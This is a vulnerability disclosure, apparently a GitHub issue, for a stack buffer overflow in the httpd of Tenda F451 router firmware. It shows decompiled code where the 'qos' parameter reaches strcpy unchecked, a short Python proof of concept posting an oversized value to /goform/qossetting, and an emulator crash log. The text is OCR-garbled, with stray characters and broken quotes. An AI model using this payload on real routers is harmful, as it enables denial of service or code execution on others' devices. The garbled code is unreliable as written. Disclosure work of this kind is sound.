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F451 kfw V1.0.0.7_cn_svn7958 product has a buffer
overflow #18
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Information

Vendor: Tenda
Product: F451 kfw V1.0.0.7_cn_svn7958
Version: V1.0.0.7

Vulnerability:

buffer overflow

Firmware Download: https://www.tenda.com.cn/material/show/1597
Author: Xianmao Ji

Descriptions

We found an overflow vulnerability in httpd :
In fromgossetting function,it reads in a user-provided parameter qos,
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sub_1495C("GetUr1lMember"”, formUrlMember);
sub_1495C("GetAllUrlList", formAllUrlList);
sub_1495C("webExcptypemanFilter"”, fromwebExcptypemanFilter);
sub_1495C("L7Prot", frmL7ProtForm);

sub_1495C("gossetting", fromgossetting);
sub_1495C("Natlimit", fromNatlimit);

sub_D878("TendaGetArp", aspTendaGethArp);
sub_1495C("SafeMacFilter", fromSafeMacFilter);
sub_1495C("SafelpFilter"”, formSafelpFilter);

And the variable src is passed to the strcpy function without any length check, which may overflow the stack-
based buffer dest.
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1 int _ fastcall fromgossetting(int al)

2
3 wvoid *v1; f/ r®©
4 int v2; [/ r@
5 char dest[2]; // [sp+14h] [bp-140h] BYREF
6 char s[256]; // [sp+2Ch] [bp-128h] BYREF
7 char *src; [/ [sp+12Ch] [bp-28h]
8 const char *v8; // [sp+136h] [bp-24h]
9 char *s1; // [sp+134h] [bp-206h]
18 int v10; // [sp+138h] [bp-1Ch]
11  int v11; // [sp+13Ch] [bp-18h]
12 int v12; // [sp+140h] [bp-14h]
13 int v13; // [sp+144h] [bp-18h]
14
) 15  v13 = @;
P16 v12 = O;
b 17 v1l = sub 3C5E8(al);
) 18 w10 = sub 28BCC(al, "entrys", &unk 81720);
) 19  s1 = (char *)sub_28BCC{(al, "op", "no");
b 20 sub 3A538("adv.qos", v18, 126);
P 21 w8 = (const char *)sub 28BCC(al, “page", "1");
) 22 sprintf(s, "gos_list.asp?page=ks", v8);
23 if ( !strncmp(sl, "add", 3u) || !strncmp(sl, “"edit", 4u) )
24 {
p 25 SetValue("adv.qos.mode", "1");
b 26 vl = memcpy{dest, "1", sizeof(dest));
7] 1}
28 else
29 {
30 src = {char *)sub_28BCC(al, "gos", "@");
b 31 SetValue("adv.gos.mode", src);
® 32 vl = strcpy(dest, src);
33}
As a result, by requesting the page, an attacker can easily execute a denial of service attack or remote code
execution.
Proof of Concept (PoC)

import requests

url = "http://127.0.0.1/goform/qossetting”
payload = {

'gos":b'a*2048

}

res = requests.post(url=url,data=payload)

Overcome
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dist-packages/requej

connect: No such file or directory = adapter.send(request, **kwargs)

Connect to server failed. File "/usr/lib/python3/dist-packages/requej
connect: No such file or directory raise ConnectionError(err, request=reques;
Connect to server failed. requests.exceptions.ConnectionError: ('Conne{
gemu: uncaught target signal 11 (Segmentation fault) - core dumped "Remote end closed connection without respons

ERgEig :-% python3 pocils.py

s ]
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